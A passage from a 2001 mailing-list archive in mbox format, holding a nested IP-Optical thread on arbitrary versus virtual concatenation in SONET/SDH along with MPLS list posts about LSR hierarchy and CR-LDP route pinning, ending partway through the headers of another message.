> > > > >           > > >               > concerns about upgrades are
> > > > > fairly
> > > > > correct except:
> > > > >           > > >               > (1) With the new generation
> > > > > of
> > > > > SONET/SDH cross
> > > > >           > > >               > connects arbitrary is a
> > > > >           > > >               > feature.  I can think of at
> > > > > least one
> > > > > new and very
> > > > >           > > >               > popular switch that has
> > > > >           > > >               > this feature.
> > > > >           > > >               > (2) I also know of access
> > > > > equipment
> > > > > vendors that
> > > > >           > > >               > offer this feature (but not
> > > > >           > > >               > virtual concatenation).
> > > > >           > > >               > (3) There is a bit more
> > > > > fundamental
> > > > > reason behind
> > > > >           > > >               > the usefulness of
> > > > >           > > >               > arbitrary concatenation.
> > > > > Avoiding the
> > > > > need to
> > > > >           > > >               > "re-groom" the circuits on a
> > > > >           > > >               > line (the nasty service
> > > > > impacting
> > > > > process of
> > > > >           > > >               > remapping circuits to time
> > > > >           > > >               > slots so that you can add a
> > > > > new
> > > > > concatenated circuit
> > > > >           > > >               > within the standard
> > > > >           > > >               > contiguous concatenation
> > > > > constraints).
> > > > >           > > >               > As to how it got into the
> > > > > ODSI
> > > > > specification, the
> > > > >           > > >               > answer is fairly simple,
> > > > >           > > >               > folks (including myself)
> > > > > asked for it
> > > > > to be
> > > > >           > > >               > included, just like in the
> > > > > GMPLS
> > > > >           > > >               > specification.  I haven't
> > > > > found a
> > > > > customer out there
> > > > >           > > >               > that likes to re-groom
> > > > >           > > >               > traffic (or the bandwidth
> > > > > inefficiency
> > > > > from not
> > > > >           > > >               > regrooming).
> > > > >           > > >               >
> > > > >           > > >               > Greg B.
> > > > >           > > >               >
> > > > > ***********************************
> > > > >           > > >               > Dr. Greg M. Bernstein
> > > > >           > > >               > Senior Scientist, Ciena
> > > > > Corporation
> > > > >           > > >               >
> > > > >           > > >               > -----Original Message-----
> > > > >           > > >               > From: ashritha thirumalai
> > > > >           > > >               > [mailto:chickoo66@yahoo.com]
> > > > >           > > >               > Sent: Friday, May 11, 2001
> > > > > 1:50 PM
> > > > >           > > >               > To: Fong, Man Wing; Maarten
> > > > > Vissers;
> > > > > Heiles Juergen
> > > > >           > > >               > Cc:
> > > > > ip-optical@lists.bell-labs.com
> > > > >           > > >               > Subject: RE: [IP-Optical]
> > > > > concatenation extensions
> > > > >           > > >               > in sonet/sdh
> > > > >           > > >               >
> > > > >           > > >               >
> > > > >           > > >               > Well, arb-conct is most
> > > > > really useful
> > > > > for data
> > > > >           > > >               > (i.e. Packet-Over-Sonet).
> > > > > i.e. one can
> > > > > provide
> > > > >           > > >               > an STS19c or so for a 1GbE
> > > > > pipe (as
> > > > > opposed to
> > > > >           > > >               > an STS48c as is currently
> > > > > being done).
> > > > > This
> > > > >           > > >               > goal is same as that of
> > > > > virt-conc.
> > > > >           > > >               >
> > > > >           > > >               > I am not really sure how an
> > > > > interconnection will
> > > > >           > > >               > be problematic with a DACS?
> > > > > Could you
> > > > > elaborate
> > > > >           > > >               > kindly?
> > > > >           > > >               >
> > > > >           > > >               > Thanx,
> > > > >           > > >               > Sanjay
> > > > >           > > >               > --- "Fong, Man Wing"
> > > > > <MFong@WhiteRockNetworks.com>
> > > > >           > > >               > wrote:
> > > > >           > > >               > > Hi Sanjay,
> > > > >           > > >               > >
> > > > >           > > >               > > Here is my 2 cents worth
> > > > > of
> > > > > comments.
> > > > >           > > >               > >
> > > > >           > > >               > > 3. arb. conc. as well as
> > > > > virt. conc.
> > > > > require
> > > > >           > > >               > > upgrades
> > > > >           > > >               > >    at the end points,
> > > > > since all
> > > > > systems in a ring
> > > > >           > > >               > >    will be of the same
> > > > > vendor
> > > > > anyway. (i.e. if one
> > > > >           > > >               > >    system supports arb.
> > > > > conc. so
> > > > > will the rest in
> > > > >           > > >               > >    the ring).
> > > > >           > > >               > > Not quiet true. There
> > > > > might be a
> > > > > problem when
> > > > >           > > >               > > interconnecting with a
> > > > > cross
> > > > >           > > >               > > connect system. For my
> > > > > understanding, I can't
> > > > >           > > >               > think
> > > > >           > > >               > > of any cross connect
> > > > >           > > >               > > system support arbitrary
> > > > > concatenation.
> > > > >           > > >               > >
> > > > >           > > >               > > Regards,
> > > > >           > > >               > > Man Wing
> > > > >           > > >               > >
> > > > >           > > >               > > -----Original Message-----
> > > > >           > > >               > > From:       ashritha
> > > > > thirumalai
> > > > >           > > >               > >
> > > > > [mailto:chickoo66@yahoo.com]
> > > > >           > > >               > > Sent:       Friday, May
> > > > > 11, 2001
> > > > > 11:55 AM
> > > > >           > > >               > > To: Maarten Vissers;
> > > > > Heiles Juergen
> > > > >           > > >               > > Cc: 'ashritha thirumalai';
> > > > >           > > >               > >
> > > > > ip-optical@lists.bell-labs.com
> > > > >           > > >               > > Subject:    Re:
> > > > > [IP-Optical]
> > > > > concatenation extensions
> > > > >           > > >               > > in sonet/sdh
> > > > >           > > >               > >
> > > > >           > > >               > > Thanks Juergen and Maarten
> > > > > for you
> > > > > valuable
> > > > >           > > >               > > feedback.
> > > > >           > > >               > >
> > > > >           > > >               > > Here's my dilemma:
> > > > >           > > >               > >
> > > > >           > > >               > > 1. arb. concatenation is a
> > > > > natural
> > > > > and elegant
> > > > >           > > >               > >    extension to sonet/sdh
> > > > > contigous-concatenation.
> > > > >           > > >               >
> > > > >           > > >               > >
> > > > >           > > >               > > 2. arb. concatenation
> > > > > scales very
> > > > > well with rate. >
> > > > >           > > >               > >    imagine the buffering
> > > > > required
> > > > > for OC768 or i
> > > > >           > > >               > >    dare say, OC3072 in a
> > > > > framer
> > > > > device supporting
> > > > >           > > >               > >    virtual concatenation.
> > > > > (while an
> > > > > ANSI draft
> > > > >           > > >               > >    recommends a minimum of
> > > > > 1 frame's
> > > > > worth of
> > > > >           > > >               > >    buffering, this is
> > > > > hardly
> > > > > sufficient. most
> > > > >           > > >               > people
> > > > >           > > >               > >    want about 16 frames
> > > > > worth of
> > > > > buffering).
> > > > >           > > >               > >
> > > > >           > > >               > > 3. in a given ring, it is
> > > > > virtually
> > > > > unknown to
> > > > >           > > >               > >    intermix systems from
> > > > > two
> > > > > vendors.
> > > > >           > > >               > >    therefore, a system
> > > > > (say and ADM)
> > > > > supporting
> > > > >           > > >               > >    arb. concatenation can
> > > > > gracefully
> > > > > co-exist with
> > > > >           > > >               > >    its sibling systems on
> > > > > the same
> > > > > ring.
> > > > >           > > >               > >
> > > > >           > > >               > > 4. now the question is
> > > > > what happens
> > > > > at end-points.
> > > > >           > > >               >
> > > > >           > > >               > >    well, the end-points
> > > > > (especially
> > > > > the receive)
> > > > >           > > >               > >    will have to support
> > > > > arb
> > > > > concatenation.
> > > > >           > > >               > >    (if there is a cross
> > > > > connect, it
> > > > >           > > >               > >    could possibly be
> > > > > handled by
> > > > > software alone).
> > > > >           > > >               > >
> > > > >           > > >               > >    On the other hand,
> > > > > virtual
> > > > > concatenation will
> > > > >           > > >               > >    need support as well at
> > > > > the
> > > > > end-points. i.e.
> > > > >           > > >               > >    current systems will
> > > > > need to be
> > > > > upgraded.
> > > > >           > > >               > >
> > > > >           > > >               > > my summary (i hope you
> > > > > will critique
> > > > > this):
> > > > >           > > >               > >
> > > > >           > > >               > > 1. arb. conc. is a more
> > > > > elegant
> > > > > solution.
> > > > >           > > >               > > 2. arb. conc. scales quite
> > > > > well with
> > > > > rate, while
> > > > >           > > >               > >    vir. conc. gets uglier
> > > > > and uglier
> > > > > to implement.
> > > > >           > > >               >
> > > > >           > > >               > > 3. arb. conc. as well as
> > > > > virt. conc.
> > > > > require
> > > > >           > > >               > > upgrades
> > > > >           > > >               > >    at the end points,
> > > > > since all
> > > > > systems in a ring
> > > > >           > > >               > >    will be of the same
> > > > > vendor
> > > > > anyway. (i.e. if one
> > > > >           > > >               > >    system supports arb.
> > > > > conc. so
> > > > > will the rest in
> > > > >           > > >               > >    the ring).
> > > > >           > > >               > > 4. why is ODSI making a
> > > > > mention of
> > > > > arb.
> > > > >           > > >               > > concatenation
> > > > >           > > >               > >    in their functional
> > > > > spec?
> > > > >           > > >               > >
> > > > >           > > >               > > Thanx,
> > > > >           > > >               > > Sanjay.
> > > > >           > > >               > > --- Maarten Vissers
> > > > > <mvissers@lucent.com> wrote:
> > > > >           > > >               > > > Sanjay,
> > > > >           > > >               > > >
> > > > >           > > >               > > > Arbitrary concatenation
> > > > > was
> > > > > present in the very
> > > > >           > > >               > > > first versions of T.105
> > > > >           > > >               > > > and G.707 (called G.709
> > > > > at the
> > > > > time). It was
> > > > >           > > >               > never
> > > > >           > > >               > > > implemented, until
> > > > >           > > >               > > > ATM people decided
> > > > > (without
> > > > > consultation with
> > > > >           > > >               > > > transport people) to
> > > > >           > > >               > > > define ATM over
> > > > > VC-4-4c/STS-12c.
> > > > > The problems
> > > > >           > > >               > this
> > > > >           > > >               > > > has caused initially
> > > > >           > > >               > > > in the networks was
> > > > > tremendous;
> > > > > VC-4-4c/STS-12c
> > > > >           > > >               > > > couldn't be transported
> > > > >           > > >               > > > as a tributary signal in
> > > > > e.g.
> > > > > STM-16/OC-48
> > > > >           > > >               > > signals,
> > > > >           > > >               > > > it could only be
> > > > >           > > >               > > > transported within an
> > > > > STM-4/OC-12
> > > > > directly on
> > > > >           > > >               > > fiber
> > > > >           > > >               > > > (very expensive!!).
> > > > >           > > >               > > > Only when new network
> > > > > elements
> > > > > where installed
> > > > >           > > >               > > > supporting
> > > > >           > > >               > > > VC-4-4c/STS-12c this
> > > > > ATM-service
> > > > > could be
> > > > >           > > >               > handled
> > > > >           > > >               > > by
> > > > >           > > >               > > > the transport
> > > > >           > > >               > > > networks at normal
> > > > > costs. To
> > > > > transport
> > > > >           > > >               > > > VC-4-4c/STS-12c over the
> > > > > original
> > > > >           > > >               > > > SDH networks,
> > > > > contiguous/virtual
> > > > > concatenation
> > > > >           > > >               > > > conversion function has
> > > > >           > > >               > > > been defined (see
> > > > > G.707); special
> > > > > cont/virt conc
> > > > >           > > >               > > > conversion interface
> > > > >           > > >               > > > port units have been
> > > > > designed and
> > > > > installed.
> > > > >           > > >               > > >
> > > > >           > > >               > > > Arbitrary concatenation
> > > > > has been
> > > > > taken out in
> > > > >           > > >               > the
> > > > >           > > >               > > > latest versions of the
> > > > >           > > >               > > > two standards for the
> > > > > reasons
> > > > > mentioned by
> > > > >           > > >               > Juergen
> > > > >           > > >               > > > and indicated above.
> > > > >           > > >               > > > I would say that most
> > > > > likely 99%
> > > > > of the existing
> > > > >           > > >               > > > SONET/SDH networks do
> > > > >           > > >               > > > not support arbitrary
> > > > > concatenation, and there
> > > > >           > > >               > are
> > > > >           > > >               > > > no client signals
> > > > >           > > >               > > > defined that are mapped
> > > > > into
> > > > > arbitrary
> > > > >           > > >               > > concatenated
> > > > >           > > >               > > > signals. So I would
> > > > >           > > >               > > > assume that arbitrary
> > > > > concatenation is a dead
> > > > >           > > >               > > body,
> > > > >           > > >               > > > not worth to invest
> > > > >           > > >               > > > a single penny in.
> > > > > Virtual
> > > > > concatenation is the
> > > > >           > > >               > > > future.
> > > > >           > > >               > > >
> > > > >           > > >               > > > Regards,
> > > > >           > > >               > > >
> > > > >           > > >               > > > Maarten
> > > > >           > > >               > > >
> > > > >           > > >               > > > Heiles Juergen wrote:
> > > > >           > > >               > > > >
> > > > >           > > >               > > > > Sanjay,
> > > > >           > > >               > > > >
> > > > >           > > >               > > > > arbitary contiguous
> > > > > concatenation has to be
> > > > >           > > >               > > > supported by all network
> > > > > elements
> > > > > along the>
> > > > >           > > >               > path,>
> > > > >           > > >               > > > while virtual
> > > > > concatenation needs
> > > > > only support
> > > > >           > > >               > at
> > > > >           > > >               > > > the end systems
> > > > > terminating
> > > > > virtual
> > > > >           > > >               > concatenation
> > > > >           > > >               > > > and providing access to
> > > > > the client
> > > > > signal.
> > > > >           > > >               > > > > Arbitary contiguous
> > > > > concatenation is not
> > > > >           > > >               > > > standardized and support
> > > > > only by
> > > > > several
> > > > >           > > >               > vendors.
> > > > >           > > >               > > > Exisitng networks don't
> > > > > support
> > > > > it. It would
> > > > >           > > >               > > require
> > > > >           > > >               > > > a replacement of most
> > > > > network
> > > > > elements,
> > > > >           > > >               > something
> > > > >           > > >               > > > operators don't want.
> > > > > With virtual
> > > > > concatenation
> > > > >           > > >               > > you
> > > > >           > > >               > > > can go through exisitng
> > > > > networks.
> > > > > Only the end
> > > > >           > > >               > > > systems that support the
> > > > > specific
> > > > > client signal
> > > > >           > > >               > > have
> > > > >           > > >               > > > to support virtual
> > > > > concatenation
> > > > > also.
> > > > >           > > >               > > > > Furthermore virtual
> > > > > concatenation allows to
> > > > >           > > >               > > > disribute the individual
> > > > > VCs/STS-SPEs over
> > > > >           > > >               > several
> > > > >           > > >               > > > STM/OC signals, which is
> > > > > not
> > > > > possible with
> > > > >           > > >               > > > contiguous
> > > > > concatenation. An
> > > > > application for
> > > > >           > > >               > this
> > > > >           > > >               > > is
> > > > >           > > >               > > > the transport of a 10
> > > > > Gbit/s
> > > > > paylaod over
> > > > >           > > >               > 4xOC-48
> > > > >           > > >               > > in
> > > > >           > > >               > > > a OC-48 based WDM
> > > > > system.
> > > > >           > > >               > > > > The LCAS (Link
> > > > > Capacity
> > > > > Adjustment Scheme)
> > > > >           > > >               > > allows
> > > > >           > > >               > > > to modify the number of
> > > > > virtual
> > > > > concatenated
> > > > >           > > >               > > signals
> > > > >           > > >               > > > (and as such the
> > > > > transport
> > > > > bandwidth) on the
> > > > >           > > >               > fly.
> > > > >           > > >               > > > > In my view virtual
> > > > > concatenation
> > > > > has a longer
> > > > >           > > >               > > > lifetime.
> > > > >           > > >               > > > >
> > > > >           > > >               > > > > Regards
> > > > >           > > >               > > > >
> > > > >           > > >               > > > > Juergen
> > > > >           > > >               > > > >
> > > > >           > > >               > > > > > -----Original
> > > > > Message-----
> > > > >           > > >               > > > > > From: ashritha
> > > > > thirumalai
> > > > >           > > >               > > >
> > > > > [SMTP:chickoo66@yahoo.com]
> > > > >           > > >               > > > > > Sent: Monday, May
> > > > > 07, 2001
> > > > > 9:05 PM
> > > > >           > > >               > > > > > To:
> > > > > ip-optical@lists.bell-labs.com
> > > > >           > > >               > > > > > Cc:
> > > > > chickoo66@yahoo.com
> > > > >           > > >               > > > > > Subject:
> > > > > [IP-Optical]
> > > > > concatenation
> > > > >           > > >               > > > extensions in sonet/sdh
> > > > >           > > >               > > > > >
> > > > >           > > >               > > > > > All,
> > > > >           > > >               > > > > >
> > > > >           > > >               > > > > > A newbie question.
> > > > > (and a
> > > > > digression from
> > > > >           > > >               > > > current
> > > > >           > > >               > > > > > threads)
> > > > >           > > >               > > > > >
> > > > >           > > >               > > > > > Virtual
> > > > > concatenation seems to
> > > > > have been
> > > > >           > > >               > > > accepted
> > > > >           > > >               > > > > > as standard
> > > > > procedure.
> > > > > Lucent/Agere, Cypress
> > > > >           > > >               > > etc
> > > > >           > > >               > > > > > seem to have sonet
> > > > > framers
> > > > > that support
> > > > >           > > >               > > virtual
> > > > >           > > >               > > > > > concatenation.
> > > > >           > > >               > > > > >
> > > > >           > > >               > > > > > However, there has
> > > > > been some
> > > > > discussion on
> > > > >           > > >               > > > > > arbitrary
> > > > > concatenation as
> > > > > well. arbitrary
> > > > >           > > >               > > > > > concatenation seems
> > > > > to be a
> > > > > graceful
> > > > >           > > >               > extension
> > > > >           > > >               > > > > > of sonet/sdh's
> > > > > contiguous
> > > > > concatenation,
> > > > >           > > >               > while
> > > > >           > > >               > > > > > virtual
> > > > > concatenation seems
> > > > > like such a
> > > > >           > > >               > hack.
> > > > >           > > >               > > > > >
> > > > >           > > >               > > > > > I invite your
> > > > > opinions and
> > > > > comments on the
> > > > >           > > >               > > > > > applications,
> > > > > relevance and
> > > > > potential
> > > > >           > > >               > > lifetimes
> > > > >           > > >               > > > > > of virtual and
> > > > > arbitrary
> > > > > concatenation
> > > > >           > > >               > > schemes.
> > > > >           > > >               > > > > >
> > > > >           > > >               > > > > > Thanx,
> > > > >           > > >               > > > > > Sanjay.
> > > > >           > > >               > > > > >
> > > > >           > > >               > > > > >
> > > > >           > > >               > > >
> > > > >           > > >               >
> > > > > __________________________________________________
> > > > >           > > >               > > > > > Do You Yahoo!?
> > > > >           > > >               > > > > > Yahoo! Auctions -
> > > > > buy the
> > > > > things you want at
> > > > >           > > >               > > > great prices
> > > > >           > > >               > > > > >
> > > > > http://auctions.yahoo.com/
> > > > >           > > >               > > > > >
> > > > >           > > >               > > > > >
> > > > >           > > >               > >
> > > > > _______________________________________________
> > > > >           > > >               > > > > > IP-Optical mailing
> > > > > list
> > > > >           > > >               > > > > >
> > > > > IP-Optical@lists.bell-labs.com
> > > > >           > > >               > > > > >
> > > > >           > > >               > > >
> > > > >           > > >               > >
> > > > >           > > >               >
> > > > >           > > >
> > > > >
> > > > http://lists.bell-labs.com/mailman/listinfo/ip-optical
> > > > >           > > >               > > > >
> > > > >           > > >               > > > >
> > > > >           > > >               >
> > > > > _______________________________________________
> > > > >           > > >               > > > > IP-Optical mailing
> > > > > list
> > > > >           > > >               > > > >
> > > > > IP-Optical@lists.bell-labs.com
> > > > >           > > >               > > > >
> > > > >           > > >               > >
> > > > >           > > >               >
> > > > >           > > >
> > > > >
> > > > http://lists.bell-labs.com/mailman/listinfo/ip-optical>
> > > > >           > > >               > > begin:vcard
> > > > >           > > >               > > > n:Vissers;Maarten
> > > > >           > > >               > > > tel;cell:+31 62 061 3945
> > > > >           > > >               > > > tel;fax:+31 35 687 5976
> > > > >           > > >               > > > tel;home:+31 35 526 5463
> > > > >           > > >               > > > tel;work:+31 35 687 4270
> > > > >           > > >               > > > x-mozilla-html:FALSE
> > > > >           > > >               > > > org:Lucent Technologies
> > > > > Nederland;NA&CPSE
> > > > >           > > >               > > > version:2.1
> > > > >           > > >               > > >
> > > > > email;internet:mvissers@lucent.com
> > > > >           > > >               > > >
> > > > > adr;quoted-printable:;;Botterstraat
> > > > >           > > >               > > > 45=0D=0A=0D=0A;1271 XL
> > > > > Huizen;;;The Netherlands>
> > > > >           > > >               > >>  > > fn:Maarten Vissers
> > > > >           > > >               > > > end:vcard
> > > > >           > > >               > > >
> > > > >           > > >               > >
> > > > >           > > >               > >
> > > > >           > > >               > >
> > > > > __________________________________________________
> > > > >           > > >               > > Do You Yahoo!?
> > > > >           > > >               > > Yahoo! Auctions - buy the
> > > > > things you
> > > > > want at great
> > > > >           > > >               > > prices
> > > > >           > > >               > > http://auctions.yahoo.com/
> > > > >           > > >               > >
> > > > >           > > >               > >
> > > > > _______________________________________________
> > > > >           > > >               > > IP-Optical mailing list
> > > > >           > > >               > >
> > > > > IP-Optical@lists.bell-labs.com
> > > > >           > > >               > >
> > > > >           > > >               >
> > > > >           > > >
> > > > >
> > > > http://lists.bell-labs.com/mailman/listinfo/ip-optical
> > > > >           > > >               >
> > > > >           > > >               >
> > > > >           > > >               >
> > > > > __________________________________________________
> > > > >           > > >               > Do You Yahoo!?
> > > > >           > > >               > Yahoo! Auctions - buy the
> > > > > things you
> > > > > want at great
> > > > >           > > >               > prices
> > > > >           > > >               > http://auctions.yahoo.com/
> > > > >           > > >               >
> > > > >           > > >               >
> > > > > _______________________________________________
> > > > >           > > >               > IP-Optical mailing list
> > > > >           > > >               >
> > > > > IP-Optical@lists.bell-labs.com
> > > > >           > > >               >
> > > > >           > > >
> > > > >
> > > > http://lists.bell-labs.com/mailman/listinfo/ip-optical
> > > > >           > > >
> > > > >           > > >
> > > > >           > > >
> > > > > __________________________________________________
> > > > >           > > >               Do You Yahoo!?
> > > > >           > > >               Yahoo! Auctions - buy the
> > > > > things you
> > > > > want at great prices
> > > > >           > > >               http://auctions.yahoo.com/
> > > > >           > >
> > > > >           > >
> > > > > _______________________________________________
> > > > >           > > IP-Optical mailing list
> > > > >           > > IP-Optical@lists.bell-labs.com
> > > > >           > >
> > > > http://lists.bell-labs.com/mailman/listinfo/ip-optical
> > > >
> > > >
> > > > __________________________________________________
> > > > Do You Yahoo!?
> > > > Yahoo! Auctions - buy the things you want at great prices
> > > > http://auctions.yahoo.com/
> > > >
> > > > _______________________________________________
> > > > IP-Optical mailing list
> > > > IP-Optical@lists.bell-labs.com
> > > > http://lists.bell-labs.com/mailman/listinfo/ip-optical
> > > >
> > >
> >
> > _______________________________________________
> > IP-Optical mailing list
> > IP-Optical@lists.bell-labs.com
> > http://lists.bell-labs.com/mailman/listinfo/ip-optical
--------------A1A8AA663DBC054B94796453
Content-Type: text/x-vcard; charset=us-ascii;
 name="mvissers.vcf"
Content-Description: Card for Maarten Vissers
Content-Disposition: attachment;
 filename="mvissers.vcf"
Content-Transfer-Encoding: 7bit

begin:vcard 
n:Vissers;Maarten
tel;cell:+31 62 061 3945
tel;fax:+31 35 687 5976
tel;home:+31 35 526 5463
tel;work:+31 35 687 4270
x-mozilla-html:FALSE
org:Optical Network Group;Lucent Technologies Nederland
version:2.1
email;internet:mvissers@lucent.com
title:Consulting Member of Technical Staff
adr;quoted-printable:;;Botterstraat 45=0D=0A=0D=0A;1271 XL Huizen;;;The Netherlands
fn:Maarten Vissers
end:vcard

--------------A1A8AA663DBC054B94796453--



From owner-mpls@UU.NET  Thu May 17 07:42:28 2001
Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id HAA14056
	for <mpls-archive@lists.ietf.org>; Thu, 17 May 2001 07:42:28 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkpjy00630;
	Thu, 17 May 2001 11:41:54 GMT
Received: by mail-control.mail.uu.net 
	id QQkpjy21733
	for mpls-outgoing; Thu, 17 May 2001 11:41:22 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQkpjy21674
	for <mpls@mail-control.mail.uu.net>; Thu, 17 May 2001 11:41:12 GMT
Received: from cmr2.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQkpjy13243
	for <mpls@uu.net>; Thu, 17 May 2001 11:40:23 GMT
Received: from pdc2proxy.wipro.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: [203.129.228.195])
	id QQkpjy08879
	for <mpls@uu.net>; Thu, 17 May 2001 11:40:15 GMT
Received: from pdc2vwall.wipro.com (pdc2vwall.wipro.com [10.111.14.18])
	by pdc2proxy.wipro.com (8.9.3/8.9.3) with SMTP id RAA19757
	for <mpls@uu.net>; Thu, 17 May 2001 17:12:19 GMT
Received: from Asish ([10.111.11.55]) by pdc2mail.mail.wipro.com
          (Netscape Messaging Server 4.15) with SMTP id GDH2SE00.RAU for
          <mpls@uu.net>; Thu, 17 May 2001 17:09:50 +0800 
Message-ID: <001901c0dec7$8311bd90$370b6f0a@Asish>
From: "Asish Thomas Punnoose" <asish.punnoose@wipro.com>
To: <mpls@UU.NET>
Subject: Hierarchy between two LSRs
Date: Thu, 17 May 2001 17:20:04 +0530
MIME-Version: 1.0
Content-Type: multipart/mixed;    
	boundary="------------InterScan_NT_MIME_Boundary"
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2919.6700
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6700
Sender: owner-mpls@UU.NET
Precedence: bulk

This is a multi-part message in MIME format.

--------------InterScan_NT_MIME_Boundary
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_0016_01C0DEF5.9CBDC490"

------=_NextPart_000_0016_01C0DEF5.9CBDC490
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

hello=20

I am new to MPLS and i have a basic doubt.=20

If hierarchy is introduced between two LSRs, how does LDP/ CR-LDP know =
whether a hierarchy exists between the two. =20

How does the label switching work in this situation.

Please do help and could someone send some pointers related to this =
topic.

Thanks in advance=20

Asish Thomas

------=_NextPart_000_0016_01C0DEF5.9CBDC490
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content=3D"text/html; charset=3Diso-8859-1" =
http-equiv=3DContent-Type>
<META content=3D"MSHTML 5.00.2920.0" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT color=3D#800000 face=3DArial size=3D2>hello </FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT color=3D#800000 face=3DArial size=3D2>I&nbsp;am new to MPLS =
and i have a=20
basic doubt. </FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT color=3D#800000 face=3DArial size=3D2>If hierarchy is =
introduced between=20
two LSRs, how does LDP/ CR-LDP know whether a hierarchy exists between =
the=20
two.&nbsp; </FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT color=3D#800000 face=3DArial size=3D2>How does the label =
switching work in=20
this situation.</FONT></DIV>
<DIV><FONT color=3D#800000 face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT color=3D#800000 face=3DArial size=3D2>Please do help and =
could someone send=20
some pointers related to this topic.</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT color=3D#800000 face=3DArial size=3D2>Thanks in =
advance</FONT>&nbsp;</DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT color=3D#800000 face=3DArial size=3D2>Asish=20
Thomas</FONT></DIV></BODY></HTML>

------=_NextPart_000_0016_01C0DEF5.9CBDC490--


--------------InterScan_NT_MIME_Boundary--


From owner-mpls@UU.NET  Thu May 17 07:48:28 2001
Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id HAA14208
	for <mpls-archive@lists.ietf.org>; Thu, 17 May 2001 07:48:28 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkpjz16026;
	Thu, 17 May 2001 11:47:55 GMT
Received: by mail-control.mail.uu.net 
	id QQkpjz22647
	for mpls-outgoing; Thu, 17 May 2001 11:47:16 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQkpjz22615
	for <mpls@mail-control.mail.uu.net>; Thu, 17 May 2001 11:46:59 GMT
Received: from cmr1.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQkpjz23925
	for <mpls@UU.NET>; Thu, 17 May 2001 11:46:56 GMT
From: mgoel@hss.hns.com
Received: from hindon.hss.co.in by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: [202.54.26.202])
	id QQkpjz06104
	for <mpls@UU.NET>; Thu, 17 May 2001 11:46:53 GMT
Received: from sandesh.hss.hns.com (localhost [127.0.0.1])
	by hindon.hss.co.in (8.10.0/8.10.0) with SMTP id f4HBlc017045;
	Thu, 17 May 2001 17:17:38 +0530 (IST)
Received: by sandesh.hss.hns.com(Lotus SMTP MTA v4.6.3  (733.2 10-16-1998))  id 65256A4F.003F54D4 ; Thu, 17 May 2001 17:01:44 +0530
X-Lotus-FromDomain: HSS
To: Mohit Misra <MohitM@netbrahma.com>
cc: "'mpls@uu.net'" <mpls@UU.NET>
Message-ID: <65256A4F.003F4FC4.00@sandesh.hss.hns.com>
Date: Thu, 17 May 2001 17:15:51 +0530
Subject: Re: cr-ldp doubts
Mime-Version: 1.0
Content-type: text/plain; charset=us-ascii
Content-Disposition: inline
Sender: owner-mpls@UU.NET
Precedence: bulk



Hi,

Please see the comments inline.




>>2.4 Route Pinning
>>... A CR-LSP may be setup using route pinning if it is desirable to change
>>the path used by an LSP even when a better next hop becomes available at
>>some LSR alsong the loosly routed portion of the lsp.


A small correction here route pinning is used when it "undesirable" to change
the path used by an LSP even when a better next hop becomes available at some
LSR along the loosely routed portion of the LSP.


>>In case route pinning is not used then who decides that a better next hop
>>has become available . From the lines above looks like it is the
>>intermediate node. Is it something like 'Detect change in FEC next hop'
>>described in RFC 3036 (LDP). That means whenever there is a routing table
>>change happens , somebody needs to find out the better next hop(s) for all
>>the LSPs for which route pinning is not required. That looks like a lot of
>>effort for me if it is done by each intermediate node of the LSP.

MPLS is mainly used in the backbone networks(like core ISP networks) where
topological changes are very less.So on an average there is not very high
overhead involved.


>>If the above mentioned scenario is true then from the node where a better
>>next hop is available a second LSP needs to be setup
>>before it can start sending the packets on the new path . The draft doesn't
>>say anything about that.

This draft is basically an extension of LDP draft, so whenever a better next hop
is found, the same algorithm of section A.1.7 (Detect change in FEC next hop)
should be executed with all the messages for CR-LSP setup rather than plain LSP
setup.

>>                      Suppose I set route pinning for an LSP. What happens
>>if a new LSP is setup with higher setup priority than the holding priority
>>of the LSP which has been pinned. In case resources are not available ,
>>should new LSP be setup and the old one is teared down as you can not
>>re-reoute it.

In my opinion the old LSP should be teared down in that case.


Pls correct me if I am wrong.

Regards
Mohit Goel




From owner-mpls@UU.NET  Thu May 17 07:50:59 2001
Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id HAA14267
	for <mpls-archive@lists.ietf.org>; Thu, 17 May 2001 07:50:59 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
